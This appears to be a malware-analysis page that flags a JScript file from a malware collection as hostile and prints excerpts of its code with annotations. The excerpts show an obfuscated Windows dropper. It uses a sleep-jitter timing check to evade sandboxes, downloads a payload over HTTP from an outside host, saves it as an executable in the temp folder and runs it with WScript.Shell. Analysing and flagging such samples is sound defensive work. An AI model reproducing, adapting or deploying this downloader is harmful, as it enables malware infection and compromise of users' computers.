Hostile ^100% javascript-malware-collection Download

20160328_de7a041f3dc907e31c924a49d74e540f.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-2565a221a5d88421e31e028a50d3b9873cf7d1319b334f6785c19ae1259f2a3a0d8

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Ribffz = false;
2var Dflrwzk = "CreateObject";
3var Ukfej = function Woyivmywq() {return WScript[Dflrwzk]("WScript.Shell");}();
4var Taextbpz = 123213;
5var Ktfvqz = "MSXML2.XMLHTTP";
6var Befxvbzs = 2123213;
7var Xymrzqsl = 0;
8function Ewvbwxn(Mssqldybc){Ukfej["Run"](Mssqldybc, Xymrzqsl, Xymrzqsl);};
9function Bcyqhram(){return Ktfvqz;};
10function Hlwiwomba(Iwutsc, Auofxxyp){return Iwutsc - Auofxxyp;};
11function Cbkflvpp(){return Dflrwzk;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Ribffz = true;
15  @end
⋯6 lines
22function Iqtiepaufi()
23{
24var Vnjmqzpa = new this["Date"]();
25var Dnrszmsi = Vnjmqzpa["getUTCMilliseconds"]();
26WScript["Sleep"](Zvsaunil());
27var Vnjmqzpa = new this["Date"]();
⋯10 lines

English function-word token "for" lines 38–42

38:2… 
39var Tkunwzjqkf = false;
40var Ljqpkzi = false;
41for (var Nuqpb = Xymrzqsl; Nuqpb < Zvsaunil() * 1; Nuqpb++){if (Iqtiepaufi() != Xymrzqsl){
42Tkunwzjqk …

Contains a hardcoded insecure HTTP URL lines 49–63

49:7… unwzjqkf && Loryqzdh() && Ljqpkzi){
50function Ictcert() {return Ukfej["ExpandEnvironmentStrings"]("%TEMP%/") + "d6gzawQa6n9B87Mw.exe";};
51 Hinapecj = Bcyqhram();
52 Kjwyatlt = WScript[Dflrwzk](Hinapecj);
53 var Xkxlypqrpw = 1;
54 while (Xkxlypqrpw){
55try {
56Kjwyatlt[Hueli]("GET", "http://zapableapp.com/l1sape", false);
57Kjwyatlt["send"]();
58Rrrpnh = "Sleep";
59do {WScript[Rrrpnh](Zvsaunil() * 11)} while (Kjwyatlt["readystate"] < 4 );
60Xkxlypqrpw = Xymrzqsl;
61} catch(Oqoyk){Xkxlypqrpw = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Pkbvqceu(Dhckhmdtky) { …

Calls computed member from function result lines 63–75

63:44…  (1, 2, 3, 4, 5, Dhckhmdtky); return Bubktj;};
64Fqpgim = WScript[Cbkflvpp()]("ADODB.Stream");
65Hinapecj = Fqpgim;
66Hinapecj[Hueli]();
67Hinapecj["type"] = Pkbvqceu(1);
68Hinapecj["write"](Kjwyatlt["ResponseBody"]);
69Fqpgim["position"] = Pkbvqceu(Xymrzqsl);
70Hinapecj["SaveToFile"](Ictcert(), Pkbvqceu(2) );
71Fqpgim["close"]();
72Ewvbwxn(Ictcert());
73}
74}
75